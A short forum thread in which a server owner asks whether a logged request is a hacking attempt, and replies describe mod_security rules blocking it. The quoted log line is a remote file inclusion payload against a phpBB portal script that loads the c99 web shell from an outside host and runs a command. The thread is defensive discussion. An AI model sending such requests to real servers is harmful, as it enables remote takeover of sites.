Hacking Attempt?

I seen this in my logs of my Dedicated Linux server for my site.

GET /portal///includes/functions_portal.php?phpbb_root_path=http://www.festivalrilke.ch/files/upload/c99shellb16.txt?&cmd=id HTTP/1.1

If you click the URL within the GET command you'll see an elaborate script that is trying to be executed. Thank god I have mod_security installed and it was able to block/deny the phpbb_root_path command from being executed.

It denies the GET command and not the php_root_path...
The current security updates prevent this...

It will deny the phpbb_root_path element if it is specified in the filters. I made a post on this below. I also have similar exploit attempts in my logs and they're not using a GET statement, but they're still getting blocked because of the phpbb_root_path parameter is being filtered in my rule set.
